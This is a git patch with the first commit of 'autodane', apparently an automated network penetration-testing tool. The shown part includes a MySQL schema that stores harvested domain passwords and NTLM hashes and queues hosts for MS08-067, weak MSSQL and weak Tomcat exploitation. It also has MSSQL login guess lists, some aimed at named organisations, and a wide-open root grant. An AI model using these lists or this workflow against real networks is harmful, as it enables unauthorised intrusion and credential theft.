From 682e07f2c3817970cea782eccf1d95b1ee661c7a Mon Sep 17 00:00:00 2001 From: Dane Goodwin Date: Sat, 3 Oct 2015 12:17:14 +0200 Subject: [PATCH] first commit --- __init__.py | 0 autodane.e4p | 61 ++++ connections.conf | 4 + createdb.sql | 408 ++++++++++++++++++++++ creds/mssql_passes | 15 + creds/mssql_users | 2 + images/email.png | Bin 0 -> 6326 bytes images/logo.png | Bin 0 -> 189941 bytes images/skype.png | Bin 0 -> 4153 bytes install.sh | 20 ++ logs/__init__.py | 0 main.py | 74 ++++ nmap/tomcat-scan.nse | 145 ++++++++ nmap_temp/__init__.py | 0 readme | 3 + source/Ui_adddomain.py | 62 ++++ source/Ui_adddomain.pyc | Bin 0 -> 2504 bytes source/Ui_adddomaincreds.py | 85 +++++ source/Ui_adddomaincreds.pyc | Bin 0 -> 3310 bytes source/Ui_addhost.py | 58 ++++ source/Ui_addhost.pyc | Bin 0 -> 2397 bytes source/Ui_choosefootprint.py | 188 ++++++++++ source/Ui_choosefootprint.pyc | Bin 0 -> 7740 bytes source/Ui_mainwindow.py | 407 ++++++++++++++++++++++ source/Ui_mainwindow.pyc | Bin 0 -> 14327 bytes source/__init__.py | 0 source/__init__.pyc | Bin 0 -> 124 bytes source/adddomain.py | 23 ++ source/adddomain.pyc | Bin 0 -> 1425 bytes source/adddomain.ui | 66 ++++ source/adddomaincreds.py | 23 ++ source/adddomaincreds.pyc | Bin 0 -> 1590 bytes source/adddomaincreds.ui | 112 ++++++ source/addhost.py | 27 ++ source/addhost.pyc | Bin 0 -> 1455 bytes source/addhost.ui | 51 +++ source/choosefootprint.py | 71 ++++ source/choosefootprint.pyc | Bin 0 -> 3656 bytes source/choosefootprint.ui | 326 +++++++++++++++++ source/dbfunctions.py | 215 ++++++++++++ source/dbfunctions.pyc | Bin 0 -> 10339 bytes source/footprintfunctions.py | 544 +++++++++++++++++++++++++++++ source/footprintfunctions.pyc | Bin 0 -> 16486 bytes source/mainwindow.py | 429 +++++++++++++++++++++++ source/mainwindow.pyc | Bin 0 -> 16339 bytes source/mainwindow.ui | 615 +++++++++++++++++++++++++++++++++ source/metasploitfunctions.py | 282 +++++++++++++++ source/metasploitfunctions.pyc | Bin 0 -> 7987 bytes source/repeatedtimer.py | 26 ++ source/repeatedtimer.pyc | Bin 0 -> 1244 bytes source/threads.py | 518 +++++++++++++++++++++++++++ source/threads.pyc | Bin 0 -> 16996 bytes truncate.sh | 3 + 53 files changed, 4863 insertions(+) create mode 100644 __init__.py create mode 100644 autodane.e4p create mode 100644 connections.conf create mode 100644 createdb.sql create mode 100644 creds/mssql_passes create mode 100644 creds/mssql_users create mode 100644 images/email.png create mode 100755 images/logo.png create mode 100644 images/skype.png create mode 100755 install.sh create mode 100644 logs/__init__.py create mode 100755 main.py create mode 100644 nmap/tomcat-scan.nse create mode 100644 nmap_temp/__init__.py create mode 100644 readme create mode 100644 source/Ui_adddomain.py create mode 100644 source/Ui_adddomain.pyc create mode 100644 source/Ui_adddomaincreds.py create mode 100644 source/Ui_adddomaincreds.pyc create mode 100644 source/Ui_addhost.py create mode 100644 source/Ui_addhost.pyc create mode 100644 source/Ui_choosefootprint.py create mode 100644 source/Ui_choosefootprint.pyc create mode 100644 source/Ui_mainwindow.py create mode 100644 source/Ui_mainwindow.pyc create mode 100644 source/__init__.py create mode 100644 source/__init__.pyc create mode 100644 source/adddomain.py create mode 100644 source/adddomain.pyc create mode 100644 source/adddomain.ui create mode 100644 source/adddomaincreds.py create mode 100644 source/adddomaincreds.pyc create mode 100644 source/adddomaincreds.ui create mode 100644 source/addhost.py create mode 100644 source/addhost.pyc create mode 100644 source/addhost.ui create mode 100644 source/choosefootprint.py create mode 100644 source/choosefootprint.pyc create mode 100644 source/choosefootprint.ui create mode 100644 source/dbfunctions.py create mode 100644 source/dbfunctions.pyc create mode 100644 source/footprintfunctions.py create mode 100644 source/footprintfunctions.pyc create mode 100644 source/mainwindow.py create mode 100644 source/mainwindow.pyc create mode 100644 source/mainwindow.ui create mode 100644 source/metasploitfunctions.py create mode 100644 source/metasploitfunctions.pyc create mode 100644 source/repeatedtimer.py create mode 100644 source/repeatedtimer.pyc create mode 100644 source/threads.py create mode 100644 source/threads.pyc create mode 100755 truncate.sh diff --git a/__init__.py b/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/autodane.e4p b/autodane.e4p new file mode 100644 index 0000000..5778575 --- /dev/null +++ b/autodane.e4p @@ -0,0 +1,61 @@ + + + + + + + en + Python + Qt4 + + 0.1 + + + + main.py + source/Ui_mainwindow.py + source/mainwindow.py + source/choosefootprint.py + source/dbfunctions.py + source/footprintfunctions.py + source/threads.py + source/Ui_choosefootprint.py + source/Ui_addhost.py + source/addhost.py + source/metasploitfunctions.py + source/Ui_adddomain.py + source/adddomain.py + source/Ui_adddomaincreds.py + source/adddomaincreds.py + + +
source/mainwindow.ui
+
source/choosefootprint.ui
+
source/addhost.ui
+
source/adddomain.ui
+
source/adddomaincreds.ui
+
+ + + + + + + + + main.py + + None + + + + + + + + + + + + +
\ No newline at end of file diff --git a/connections.conf b/connections.conf new file mode 100644 index 0000000..1ddf7ec --- /dev/null +++ b/connections.conf @@ -0,0 +1,4 @@ +[MySQL] +user=root +pass= +db=autodane diff --git a/createdb.sql b/createdb.sql new file mode 100644 index 0000000..da11534 --- /dev/null +++ b/createdb.sql @@ -0,0 +1,408 @@ +grant all on *.* to 'root'@'%'; + +SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0; +SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0; +SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='TRADITIONAL,ALLOW_INVALID_DATES'; + +CREATE SCHEMA IF NOT EXISTS `autodane` DEFAULT CHARACTER SET latin1 ; +USE `autodane` ; + +-- ----------------------------------------------------- +-- Table `autodane`.`cred_host_map` +-- ----------------------------------------------------- +CREATE TABLE IF NOT EXISTS `autodane`.`cred_host_map` ( + `id` INT(11) NOT NULL AUTO_INCREMENT, + `host_data_id` INT(11) NOT NULL, + `domain_creds_id` INT(11) NOT NULL, + `successful` BIT(1) NOT NULL DEFAULT b'0', + `login_count` int(11) DEFAULT '0', + PRIMARY KEY (`id`)) +ENGINE = InnoDB +AUTO_INCREMENT = 21 +DEFAULT CHARACTER SET = latin1; + + +-- ----------------------------------------------------- +-- Table `autodane`.`domain_creds` +-- ----------------------------------------------------- +CREATE TABLE IF NOT EXISTS `autodane`.`domain_creds` ( + `id` INT(11) NOT NULL AUTO_INCREMENT, + `footprint_id` INT(11) NOT NULL, + `domain_name` VARCHAR(45) NOT NULL DEFAULT '', + `is_da` BIT(1) NOT NULL DEFAULT b'0', + `username` VARCHAR(45) NOT NULL DEFAULT '', + `cleartext_password` VARCHAR(150) NOT NULL DEFAULT '', + `lm_hash` VARCHAR(150) NOT NULL DEFAULT '', + `ntlm_hash` VARCHAR(150) NOT NULL DEFAULT '', + `http_ntlm_hash` VARCHAR(250) NOT NULL DEFAULT '', + PRIMARY KEY (`id`)) +ENGINE = InnoDB +AUTO_INCREMENT = 5 +DEFAULT CHARACTER SET = latin1; + + +-- ----------------------------------------------------- +-- Table `autodane`.`domains` +-- ----------------------------------------------------- +CREATE TABLE IF NOT EXISTS `autodane`.`domains` ( + `id` INT(11) NOT NULL AUTO_INCREMENT, + `footprint_id` INT(11) NOT NULL, + `domain_name` VARCHAR(45) NULL DEFAULT NULL, + `zone_transfer_attempted` BIT(1) NOT NULL DEFAULT b'0', + PRIMARY KEY (`id`)) +ENGINE = InnoDB +AUTO_INCREMENT = 2 +DEFAULT CHARACTER SET = latin1; + + +-- ----------------------------------------------------- +-- Table `autodane`.`footprints` +-- ----------------------------------------------------- +CREATE TABLE IF NOT EXISTS `autodane`.`footprints` ( + `id` INT(11) NOT NULL AUTO_INCREMENT, + `footprint_name` VARCHAR(45) NOT NULL, + `10_range_position` VARCHAR(45) NOT NULL DEFAULT '10.0.0.0/16', + `172_range_position` VARCHAR(45) NOT NULL DEFAULT '172.16.0.0.0/16', + `192_range_position` VARCHAR(45) NOT NULL DEFAULT '192.168.0.0/16', + `msfrpc_pass` VARCHAR(45) NULL DEFAULT NULL, + PRIMARY KEY (`id`)) +ENGINE = InnoDB +AUTO_INCREMENT = 2 +DEFAULT CHARACTER SET = latin1; + + +-- ----------------------------------------------------- +-- Table `autodane`.`host_data` +-- ----------------------------------------------------- +CREATE TABLE IF NOT EXISTS `autodane`.`host_data` ( + `id` INT(11) NOT NULL AUTO_INCREMENT, + `footprint_id` INT(11) NOT NULL, + `ip_address` VARCHAR(45) NOT NULL, + `host_name` VARCHAR(45) NOT NULL DEFAULT '', + `is_dc` BIT(1) NOT NULL DEFAULT b'0', + `dns_lookup_done` BIT(1) NULL DEFAULT b'0', + `port_scan_done` BIT(1) NULL DEFAULT b'0', + `creds_gathered` DATETIME NULL DEFAULT '1900-01-01 00:00:00', + `cred_gather_successful` BIT(1) NULL DEFAULT b'0', + `domain_creds_id` INT(11) NULL DEFAULT NULL, + PRIMARY KEY (`id`)) +ENGINE = InnoDB +AUTO_INCREMENT = 8 +DEFAULT CHARACTER SET = latin1; + + +-- ----------------------------------------------------- +-- Table `autodane`.`ports` +-- ----------------------------------------------------- +CREATE TABLE IF NOT EXISTS `autodane`.`ports` ( + `id` INT(11) NOT NULL AUTO_INCREMENT, + `host_data_id` INT(11) NOT NULL, + `port_num` INT(11) NOT NULL, + `vuln_checked` BIT(1) NOT NULL DEFAULT b'0', + `vulnerable` BIT(1) NOT NULL DEFAULT b'0', + `shell` BIT(1) NOT NULL DEFAULT b'0', + `notes` VARCHAR(100) NOT NULL DEFAULT '', + `vulnerability_name` VARCHAR(45) NOT NULL DEFAULT '', + `http_title_checked` BIT(1) NOT NULL DEFAULT b'0', + `http_title` VARCHAR(250) NOT NULL DEFAULT '', + `exploited` DATETIME NULL DEFAULT '1900-01-01 00:00:00', + PRIMARY KEY (`id`)) +ENGINE = InnoDB +AUTO_INCREMENT = 14 +DEFAULT CHARACTER SET = latin1; + + +-- ----------------------------------------------------- +-- Table `autodane`.`ranges` +-- ----------------------------------------------------- +CREATE TABLE IF NOT EXISTS `autodane`.`ranges` ( + `id` INT(11) NOT NULL AUTO_INCREMENT, + `footprint_id` INT(11) NOT NULL, + `net_range` VARCHAR(45) NOT NULL, + `dns_lookups_done` BIT(1) NOT NULL DEFAULT b'0', + `port_scans_done` BIT(1) NOT NULL DEFAULT b'0', + PRIMARY KEY (`id`)) +ENGINE = InnoDB +AUTO_INCREMENT = 2 +DEFAULT CHARACTER SET = latin1; + +USE `autodane` ; + +-- ----------------------------------------------------- +-- procedure addDomain +-- ----------------------------------------------------- + +DELIMITER $$ +USE `autodane`$$ +CREATE DEFINER=`root`@`localhost` PROCEDURE `addDomain`(in _footprint_id int, in _domain_name varchar(45)) +BEGIN + if (select count(*) from domains where footprint_id = _footprint_id and domain_name = _domain_name) = 0 then + insert into domains (footprint_id, domain_name) values (_footprint_id, _domain_name); + end if; +END$$ + +DELIMITER ; + +-- ----------------------------------------------------- +-- procedure addDomainCreds +-- ----------------------------------------------------- + +DELIMITER $$ +USE `autodane`$$ +CREATE DEFINER=`root`@`%` PROCEDURE `addDomainCreds`(in _fp_id int, in _dn_n varchar(45), in _un varchar(45), in _ct_pw varchar(150), in _lm_h varchar(150), in _ntlm_h varchar(150), in http_ntlm_h varchar(150)) +BEGIN + if (select count(*) from domain_creds where footprint_id = _fp_id and domain_name = _dn_n and username = _un) = 0 then + insert into domain_creds (footprint_id, domain_name, username) values (_fp_id, _dn_n, _un); + end if; + + if (_ct_pw != "") then + update domain_creds set cleartext_password = _ct_pw where + footprint_id = _fp_id and domain_name = _dn_n and username = _un; + end if; +END$$ + +DELIMITER ; + +-- ----------------------------------------------------- +-- procedure addIP +-- ----------------------------------------------------- + +DELIMITER $$ +USE `autodane`$$ +CREATE DEFINER=`root`@`localhost` PROCEDURE `addIP`(in _footprint_id int, _ip_address varchar(45), in is_dc bit) +BEGIN + if (select count(*) from host_data where footprint_id = _footprint_id and ip_address = _ip_address) = 0 then + insert into host_data (footprint_id, ip_address, is_dc) values (_footprint_id, _ip_address, is_dc); + end if; +END$$ + +DELIMITER ; + +-- ----------------------------------------------------- +-- procedure addLoginAttemptResult +-- ----------------------------------------------------- + +DELIMITER $$ +USE `autodane`$$ +CREATE DEFINER=`root`@`%` PROCEDURE `addLoginAttemptResult`(in _host_data_id int, in _domain_creds_id int, in _success bit) +BEGIN + if (select count(*) from cred_host_map where host_data_id = _host_data_id and domain_creds_id = _domain_creds_id) = 0 then + insert into cred_host_map + (host_data_id, domain_creds_id, successful) values + (_host_data_id, _domain_creds_id, _success); + end if; + + update cred_host_map set login_count = login_count+1 where + host_data_id = _host_data_id and + domain_creds_id = _domain_creds_id; +END$$ + +DELIMITER ; + +-- ----------------------------------------------------- +-- procedure addPort +-- ----------------------------------------------------- + +DELIMITER $$ +USE `autodane`$$ +CREATE DEFINER=`root`@`localhost` PROCEDURE `addPort`(in _ip_address varchar(45), in _port_num int) +BEGIN + if (select count(*)from host_data h join ports p on h.id = p.host_data_id where h.ip_address = _ip_address and p.port_num = _port_num)= 0 then + insert into ports (host_data_id, port_num) values ((select id from host_data where ip_address = _ip_address limit 1), _port_num); + end if; +END$$ + +DELIMITER ; + +-- ----------------------------------------------------- +-- procedure addRange +-- ----------------------------------------------------- + +DELIMITER $$ +USE `autodane`$$ +CREATE DEFINER=`root`@`localhost` PROCEDURE `addRange`(in _footprint_id int, in _net_range varchar(45)) +BEGIN + if (select count(*) from ranges where footprint_id = _footprint_id and net_range = _net_range) = 0 then + insert into ranges (footprint_id, net_range) values (_footprint_id, _net_range); + end if; +END$$ + +DELIMITER ; + +-- ----------------------------------------------------- +-- procedure createFootprint +-- ----------------------------------------------------- + +DELIMITER $$ +USE `autodane`$$ +CREATE DEFINER=`root`@`localhost` PROCEDURE `createFootprint`(in _footprint_name varchar(45)) +BEGIN + if (select count(*) from footprints where footprint_name = _footprint_name) = 0 then + insert into footprints (footprint_name) values (_footprint_name); + end if; + + select id from footprints where footprint_name = _footprint_name; +END$$ + +DELIMITER ; + +-- ----------------------------------------------------- +-- procedure getHostToLogInTo +-- ----------------------------------------------------- + +DELIMITER $$ +USE `autodane`$$ +CREATE DEFINER=`root`@`%` PROCEDURE `getHostToLogInTo`(in _footprint_id int) +BEGIN + select + hd.id as 'host_data_id', hd.ip_address, dc.id as 'domain_creds_id', dc.domain_name, dc.username, dc.cleartext_password + from + host_data hd + join domain_creds dc on hd.footprint_id = dc.footprint_id + join ports p on hd.id = p.host_data_id + where + hd.footprint_id = _footprint_id and + p.port_num = 445 and + hd.id not in (select host_data_id from cred_host_map where host_data_id = hd.id and domain_creds_id = dc.id) and + dc.cleartext_password != "" + limit + 1; +END$$ + +DELIMITER ; + +-- ----------------------------------------------------- +-- procedure getVulnerableToMS08067 +-- ----------------------------------------------------- + +DELIMITER $$ +USE `autodane`$$ +CREATE DEFINER=`root`@`%` PROCEDURE `getVulnerableToMS08067`(in _footprint_id int) +BEGIN + select + hd.ip_address, p.id, p.port_num + from + host_data hd + join ports p on hd.id = p.host_data_id + where + hd.footprint_id = _footprint_id and + p.shell = 1 and + p.port_num = 445 and + p.exploited = '1900-01-01 00:00:00' + order by exploited asc limit 1; +END$$ + +DELIMITER ; + +-- ----------------------------------------------------- +-- procedure getVulnerableWeakSqlCreds +-- ----------------------------------------------------- + +DELIMITER $$ +USE `autodane`$$ +CREATE DEFINER=`root`@`%` PROCEDURE `getVulnerableWeakSqlCreds`(in _footprint_id int) +BEGIN + select + hd.ip_address, p.id, p.port_num, p.notes + from + host_data hd + join ports p on hd.id = p.host_data_id + where + hd.footprint_id = _footprint_id and + p.shell = 1 and + p.port_num = 1433 and + p.exploited = '1900-01-01 00:00:00' + order by exploited asc limit 1; +END$$ + +DELIMITER ; + +-- ----------------------------------------------------- +-- procedure getVulnerableWeakTomcatCreds +-- ----------------------------------------------------- + +DELIMITER $$ +USE `autodane`$$ +CREATE DEFINER=`root`@`%` PROCEDURE `getVulnerableWeakTomcatCreds`(in _footprint_id int) +BEGIN + select + hd.ip_address, p.id, p.port_num, p.notes + from + host_data hd + join ports p on hd.id = p.host_data_id + where + hd.footprint_id = _footprint_id and + p.shell = 1 and + p.exploited = '1900-01-01 00:00:00' and + p.vulnerability_name = 'Weak Tomcat Creds' + order by exploited asc limit 1; +END$$ + +DELIMITER ; + +-- ----------------------------------------------------- +-- procedure report_pendingFootprinting +-- ----------------------------------------------------- + +DELIMITER $$ +USE `autodane`$$ +CREATE DEFINER=`root`@`localhost` PROCEDURE `report_pendingFootprinting`(in _footprint_id int) +BEGIN + select "Pending Range DNS Lookups" as label, (select count(*) from ranges where footprint_id = _footprint_id and dns_lookups_done = 0) as val + union select "Pending Range Port Scans", (select count(*) from ranges where footprint_id = _footprint_id and port_scans_done = 0) + union select "Pending Host DNS Lookups", (select count(*) from host_data where footprint_id = _footprint_id and dns_lookup_done = 0) + union select "Pending Host Port Scans", (select count(*) from host_data where footprint_id = _footprint_id and port_scan_done = 0) + union select "Pending HTML Title Checks", (select count(*) from host_data h join ports p on h.id = p.host_data_id where p.port_num in (80,443,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099) and h.footprint_id = _footprint_id and p.http_title_checked = 0); +END$$ + +DELIMITER ; + +-- ----------------------------------------------------- +-- procedure report_pendingVulnScanning +-- ----------------------------------------------------- + +DELIMITER $$ +USE `autodane`$$ +CREATE DEFINER=`root`@`localhost` PROCEDURE `report_pendingVulnScanning`(in _footprint_id int) +BEGIN + select + p.port_num, + count(p.port_num) + from + host_data hd + join ports p on hd.id = p.host_data_id + where + hd.footprint_id = _footprint_id + and vuln_checked = 0 + group by + p.port_num; +END$$ + +DELIMITER ; + +-- ----------------------------------------------------- +-- procedure updatePortVulnerability +-- ----------------------------------------------------- + +DELIMITER $$ +USE `autodane`$$ +CREATE DEFINER=`root`@`localhost` PROCEDURE `updatePortVulnerability`(in _footprint_id int, in _ip_address varchar(45), in _port_num int, in _vuln_checked bit, in _vulnerable bit, in _shell bit, in _notes varchar(100), in _vulnerability_name varchar(45)) +BEGIN + update + ports + set + vuln_checked = _vuln_checked, + vulnerable = _vulnerable, + shell = _shell, + notes = _notes, + vulnerability_name = _vulnerability_name + where + port_num = _port_num and + host_data_id = (select id from host_data where ip_address = _ip_address and footprint_id = _footprint_id limit 1); +END$$ + +DELIMITER ; + +SET SQL_MODE=@OLD_SQL_MODE; +SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS; +SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS; diff --git a/creds/mssql_passes b/creds/mssql_passes new file mode 100644 index 0000000..006627f --- /dev/null +++ b/creds/mssql_passes @@ -0,0 +1,15 @@ + +sa +admin +password +Password1 +P@ssw0rd +test +master +P@..w0rd +Pa$$w0rd +Sanlam@123 +Santam@123 +Sanlam@12345 +Santam@12345 +Pa$$w0rd diff --git a/creds/mssql_users b/creds/mssql_users new file mode 100644 index 0000000..047e7a0 --- /dev/null +++ b/creds/mssql_users @@ -0,0 +1,2 @@ +sa +admin diff --git a/images/email.png b/images/email.png new file mode 100644 index 0000000000000000000000000000000000000000..2265344162bb4cb60d63cb925e6e971becf61f1c GIT binary patch literal 6326 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 literal 0 HcmV?d00001 diff --git a/images/logo.png b/images/logo.png new file mode 100755 index 0000000000000000000000000000000000000000..9ede7c3f20fc4f5176bdacb7f496781657caa8ab GIT binary patch literal 189941 zcmZ5}30zI-|Np^^<~v5lEOug?%94tR7G=g*PAgf87S~7(b;FI)w7AB1G&A;drBaF^ zNvTUyq|!AFIiw6}m!+#hi5t;^|ND7P-TD51y%-Z9LlHJ|jyZ$3G_(hGll6!;yt^b`Dqed7Hq{{Ekh3s(d(jK}xn ze|`Mc%dg>=!#B@!+q`6h&*tFOvb9WbaIo>Z0KdRBt2eGS-XQahdu}~~Va77t_unqv z8sB^`#zRqmuDE}@y``ofW=MWacXh6|o+Jo2O7j)*ce8Hl_@$CxOYTn@4zb0b z%s=$5TKP_Uu}AiN1d%mq8c-DAabdi!Lm4|jmkU#Mw zpZ3nQ&Pe!A>}O%s>;l6TE01mX(8!fMuWoqybtipD>0`dMcLK~VjN4B!DiL#de&lZG zwuigff>?D*>Z^BsFqq`-g;%|jryY(M_Qqb8*gUMm-%h3);hT5LFU~dXW$S;)XS@E^ z3gtHSooTwgEQ37gBwMtu?C<)E*&X>$KOxUmdd{~cf8s}F^Ca?RHs|CX;bbSfar@|z z+-br(&zihU%a6!E2Sxrfi2R8kWl`tqJXc=F#P*HTxux!Zx*Kz{?<&mo(sjus&R-OM%` ztW%_AOgX&nzJu&Ty41!?98qgX(={;9I^JyB@J@ew*&OLV9yt?)lj&09)6_navsyP+ zebyAY=>t2c*t@Ci0Xx!fS3`A?S70@Xq)s^^mN210LVw 